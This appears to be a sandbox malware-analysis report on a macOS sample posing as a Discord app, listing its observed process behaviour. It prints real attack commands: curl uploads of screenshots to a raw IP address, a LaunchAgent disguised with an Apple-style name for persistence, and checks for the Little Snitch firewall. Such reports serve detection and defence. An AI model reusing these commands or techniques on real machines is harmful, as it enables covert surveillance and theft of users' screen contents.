Source: /bin/bash (PID: 663)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 665)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 672)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 679)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior

Executes the "grep" command used to find patterns in files or piped streams

Show sources

Source: /bin/sh (PID: 580)	Grep executable: /usr/bin/grep -> grep Little Snitch	Jump to behavior
Source: /bin/sh (PID: 581)	Grep executable: /usr/bin/grep -> grep -v grep	Jump to behavior
Source: /bin/sh (PID: 582)	Grep executable: /usr/bin/grep -> grep Little Snitch	Jump to behavior
Source: /bin/sh (PID: 583)	Grep executable: /usr/bin/grep -> grep -v grep	Jump to behavior
Source: /bin/sh (PID: 592)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 593)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 602)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 603)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 610)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 611)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 619)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 620)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 626)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 627)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 635)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 636)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 644)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 645)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 652)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 653)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 660)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 661)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 669)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 670)	Grep executable: /usr/bin/grep -> grep -v grep
Source: /bin/sh (PID: 676)	Grep executable: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 677)	Grep executable: /usr/bin/grep -> grep -v grep

Executes the "mkdir" command used to create folders

Show sources

Source: /bin/sh (PID: 572)	Mkdir executable: /bin/mkdir -> mkdir -p /Users/henry/.system			Jump to behavior
Source: /bin/sh (PID: 573)	Mkdir executable: /bin/mkdir -> mkdir -p /Users/henry/Library/LaunchAgents			Jump to behavior

Executes the "ps" command used to list the status of processes

Show sources

Source: /bin/sh (PID: 578)	Ps executable: /bin/ps -> ps -ef	Jump to behavior
Source: /bin/sh (PID: 579)	Ps executable: /bin/ps -> ps -ef	Jump to behavior
Source: /bin/sh (PID: 591)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 601)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 609)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 618)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 625)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 634)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 643)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 651)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 659)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 668)	Ps executable: /bin/ps -> ps -ef
Source: /bin/sh (PID: 675)	Ps executable: /bin/ps -> ps -ef

Executes the "python" command used to interpret Python scripts

Show sources

Source: /bin/bash (PID: 566)

Python executable: /usr/bin/python -> /usr/bin/python

Jump to behavior

Explicitly loads/starts launch services

Show sources

Source: /bin/sh (PID: 574)

Launch agent/daemon loaded: launchctl load -w /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist

Jump to behavior

Reads launchservices plist files

Show sources

Source: /Users/henry/Desktop/unpack/DiscordApp.app/Contents/MacOS/Application Stub (PID: 561)	Launchservices plist file read: /Users/henry/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior
Source: /Users/henry/Desktop/unpack/DiscordApp.app/Contents/MacOS/Application Stub (PID: 561)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 584)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 587)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 594)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 599)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 605)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 612)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 614)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 621)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 628)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 630)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 637)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 639)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 646)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 649)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 655)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 662)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 664)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 671)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/screencapture (PID: 678)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 570)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior

Reads user launchservices plist file containing default apps for corresponding file types

Show sources

Source: /Users/henry/Desktop/unpack/DiscordApp.app/Contents/MacOS/Application Stub (PID: 561)

Preferences launchservices plist file read: /Users/henry/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist

Jump to behavior

Writes shell script file to disk with an unusual file extension

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)

Writes shell script file to disk with an unusual file extension: /Users/henry/.system/.systemkeeper

Jump to dropped file

Executes the "awk" command used to scan for patterns (typically in standard output)

Show sources

Source: /bin/bash (PID: 569)

Awk executable: /usr/bin/awk -> awk /UUID/ { print $3 }

Jump to behavior

Reads data from the local random generator

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 584)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 587)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 594)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 599)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 605)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 612)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 614)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 621)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 628)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 630)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 637)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 639)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 646)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 649)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 655)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 662)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 664)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 671)	Random device file read: /dev/urandom	Jump to behavior
Source: /usr/sbin/screencapture (PID: 678)	Random device file read: /dev/urandom	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 575)	Random device file read: /dev/urandom	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 589)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 598)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 607)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 616)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 623)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 632)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 641)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 648)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 657)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 666)	Random device file read: /dev/urandom
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 673)	Random device file read: /dev/urandom

Uses AppleKeyboardLayouts bundle containing keyboard layouts

Show sources

Source: /Users/henry/Desktop/unpack/DiscordApp.app/Contents/MacOS/Application Stub (PID: 561)

AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist

Jump to behavior

Uses the Python framework

Show sources

Source: /usr/bin/python (PID: 566)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Jump to behavior
Source: /Users/henry/.system/.systemkeeper (PID: 575)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Jump to behavior
Source: /Users/henry/.system/.systemkeeper (PID: 589)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Jump to behavior
Source: /Users/henry/.system/.systemkeeper (PID: 598)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 607)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 616)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 623)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 632)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 641)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 648)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 657)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 666)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Source: /Users/henry/.system/.systemkeeper (PID: 673)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python

Writes property list (.plist) files to disk

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)

XML plist file created: /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist

Jump to dropped file

Boot Survival:

Creates memory-persistent launch services

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)

Launch agent/daemon created with KeepAlive and/or RunAtLoad, file created: /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist

Jump to behavior

Creates user-wide 'launchd' managed services aka launch agents

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)

Launch agent created file created: /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Creates 'launchd' managed services aka launch agents with bundle ID names to possibly disguise malicious intentions

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)

Launch agent created file created: /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist

Jump to behavior

Executes the "base64" command used to encode or decode data (e.g. files, payloads)

Show sources

Source: /bin/bash (PID: 565)

Base64 executable: /usr/bin/base64 -> base64 -D

Jump to behavior

Malware Analysis System Evasion:

Reads the sysctl hardware model value (may be used for detecting VM presence)

Show sources

Source: /usr/sbin/system_profiler (PID: 570)

Sysctl read request: hw.model (6.2)

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Checks if the firewall "Little Snitch" is running

Show sources

Source: /bin/sh (PID: 580)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch	Jump to behavior
Source: /bin/sh (PID: 582)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch	Jump to behavior
Source: /bin/sh (PID: 592)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 602)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 610)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 619)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 626)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 635)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 644)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 652)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 660)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 669)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch
Source: /bin/sh (PID: 676)	Greps for Little Snitch: /usr/bin/grep -> grep Little Snitch

Language, Device and Operating System Detection:

Reads process information of other processes

Show sources

Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.581 -> queries PID 581	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.580 -> queries PID 580	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.579 -> queries PID 579	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.577 -> queries PID 577	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.576 -> queries PID 576	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.575 -> queries PID 575	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.571 -> queries PID 571	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.569 -> queries PID 569	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.568 -> queries PID 568	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.567 -> queries PID 567	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.566 -> queries PID 566	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.563 -> queries PID 563	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.562 -> queries PID 562	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.561 -> queries PID 561	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.552 -> queries PID 552	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.550 -> queries PID 550	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.545 -> queries PID 545	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.543 -> queries PID 543	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.542 -> queries PID 542	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.516 -> queries PID 516	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.513 -> queries PID 513	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.511 -> queries PID 511	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.510 -> queries PID 510	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.483 -> queries PID 483	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.454 -> queries PID 454	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.453 -> queries PID 453	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.452 -> queries PID 452	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.451 -> queries PID 451	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.443 -> queries PID 443	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.442 -> queries PID 442	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.439 -> queries PID 439	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.427 -> queries PID 427	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.426 -> queries PID 426	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.425 -> queries PID 425	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.424 -> queries PID 424	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.423 -> queries PID 423	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.422 -> queries PID 422	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.421 -> queries PID 421	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.416 -> queries PID 416	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.412 -> queries PID 412	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.407 -> queries PID 407	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.401 -> queries PID 401	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.397 -> queries PID 397	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.396 -> queries PID 396	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.395 -> queries PID 395	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.390 -> queries PID 390	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.389 -> queries PID 389	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.387 -> queries PID 387	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.384 -> queries PID 384	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.383 -> queries PID 383	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.382 -> queries PID 382	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.381 -> queries PID 381	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.380 -> queries PID 380	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.378 -> queries PID 378	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.377 -> queries PID 377	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.376 -> queries PID 376	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.375 -> queries PID 375	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.373 -> queries PID 373	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.371 -> queries PID 371	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.370 -> queries PID 370	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.366 -> queries PID 366	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.365 -> queries PID 365	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.364 -> queries PID 364	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.361 -> queries PID 361	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.360 -> queries PID 360	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.359 -> queries PID 359	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.357 -> queries PID 357	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.356 -> queries PID 356	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.355 -> queries PID 355	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.354 -> queries PID 354	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.352 -> queries PID 352	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.351 -> queries PID 351	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.350 -> queries PID 350	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.349 -> queries PID 349	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.348 -> queries PID 348	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.345 -> queries PID 345	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.344 -> queries PID 344	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.343 -> queries PID 343	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.342 -> queries PID 342	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.341 -> queries PID 341	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.340 -> queries PID 340	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.339 -> queries PID 339	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.338 -> queries PID 338	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.334 -> queries PID 334	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.331 -> queries PID 331	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.330 -> queries PID 330	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.329 -> queries PID 329	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.328 -> queries PID 328	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.327 -> queries PID 327	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.321 -> queries PID 321	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.320 -> queries PID 320	Jump to behavior
